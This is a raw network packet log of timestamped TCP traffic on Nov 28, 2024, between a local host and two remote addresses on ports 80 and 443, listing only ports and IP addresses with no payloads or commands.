Nov 28, 2024 11:05:33.599303961 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.599800110 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.600028038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.600090027 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.600171089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.601108074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.601176977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.601190090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.601449013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.602088928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.602195024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.602255106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.603167057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.603240013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.603245020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.603307962 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.604237080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.604298115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.604331017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.604371071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.605269909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.605314016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.605345011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.605376959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.606277943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.606328011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.606405020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.606488943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.607337952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.607435942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.607507944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.608391047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.608447075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.608652115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.608798981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.609431982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.609491110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.609535933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.609612942 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.610472918 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.610578060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.610646009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.611550093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.611635923 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.611648083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.611855984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.612633944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.612677097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.612721920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.613807917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.613970041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.614037037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.614639044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.614690065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.614778042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.614892960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.615791082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.615854979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.615864038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.615921021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.617090940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.617114067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.617141008 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.617157936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.618020058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.618066072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.618099928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.618227005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.619081020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.619141102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.619159937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.619261026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.619945049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.620003939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.620104074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.620155096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.620934010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.621146917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.621387005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.622009039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.622097969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.622162104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.623030901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.623066902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.623102903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.623147011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.624100924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.624151945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.624222994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.625238895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.625299931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.625320911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.625453949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.626179934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.626234055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.626290083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.626451015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.627240896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.627289057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.627310991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.627412081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.628288031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.628345966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.628525972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.628578901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.629393101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.629442930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.629486084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.629523039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.630398035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.630461931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.630462885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.630589962 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.631428003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.631486893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.631567955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.631653070 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.632503986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.632579088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.632740974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.632791042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.633521080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.633582115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.633677006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.633771896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.634577036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.634625912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.634655952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.634694099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.635601997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.635651112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.635706902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.635894060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.636645079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.636748075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.636794090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.637702942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.637757063 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.637851954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.637902975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.639036894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.639163017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.639214993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.640099049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.640124083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.640175104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.640938997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.640986919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.641042948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.641882896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.641952991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.642026901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.642151117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.642930031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.642976046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.643026114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.643165112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.644016027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.644062042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.644143105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.645117044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.645169020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.645201921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.645404100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.645625114 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.645651102 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.645687103 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.645714045 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.645737886 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.645910978 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.646104097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.646152020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.646229029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.646306992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.647130966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.647186041 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.647331953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.647406101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.657257080 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.657342911 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.657346964 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.657546997 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.657852888 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.657870054 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.657892942 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.657958031 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.715681076 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.715699911 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.715799093 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.715846062 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.716415882 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.727804899 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.727822065 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.727885008 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.727925062 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.728168011 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.738003016 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.738029003 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.738084078 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.738121986 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.738140106 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.738173008 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.749764919 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.749792099 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.749882936 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.749922037 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.750154972 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.758194923 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.758270025 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.758270979 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.758294106 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.758332014 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.758351088 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.771225929 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.771270990 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.794646025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.794694901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.794738054 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.794775963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.795095921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.795181036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.795305967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.796148062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.796205044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.796266079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.797190905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.797255039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.797301054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.797446966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.798242092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.798268080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.798304081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.798336983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.799274921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.799385071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.799424887 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.799438953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.800334930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.800398111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.800417900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.800615072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.801373959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.801424026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.801453114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.801487923 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.802413940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.802469015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.802505016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.802547932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.803461075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.803541899 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.803612947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.803824902 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.804539919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.804605007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.804732084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.805567026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.805622101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.805654049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.805694103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.806616068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.806665897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.806730032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.806772947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.807657957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.807722092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.807775974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.808301926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.808706999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.808809996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.808936119 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.809748888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.809853077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.809899092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.810796022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.810890913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.810931921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.810945988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.811852932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.811899900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.811911106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.811949015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.812944889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.812998056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.813150883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.813199043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.813940048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.813987970 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.814033031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.814204931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.814976931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.815047026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.815079927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.815339088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.816051006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.816097021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.816133022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.816262007 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.817120075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.817173004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.817190886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.817732096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.818124056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.818170071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.818223953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.818265915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.819358110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.819410086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.819432020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.819629908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.820400000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.820552111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.820601940 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.821288109 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.821333885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.821340084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.821563959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.822314024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.822361946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.822422981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.822654963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.823398113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.823456049 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.823472977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.823518038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.824465990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.824552059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.824562073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.824596882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.825463057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.825587034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.825655937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.826503038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.826555014 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.826632023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.826673985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.827559948 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.827615976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.827739000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.827835083 CET	49782	80	192.168.2.7	185.215.113.206
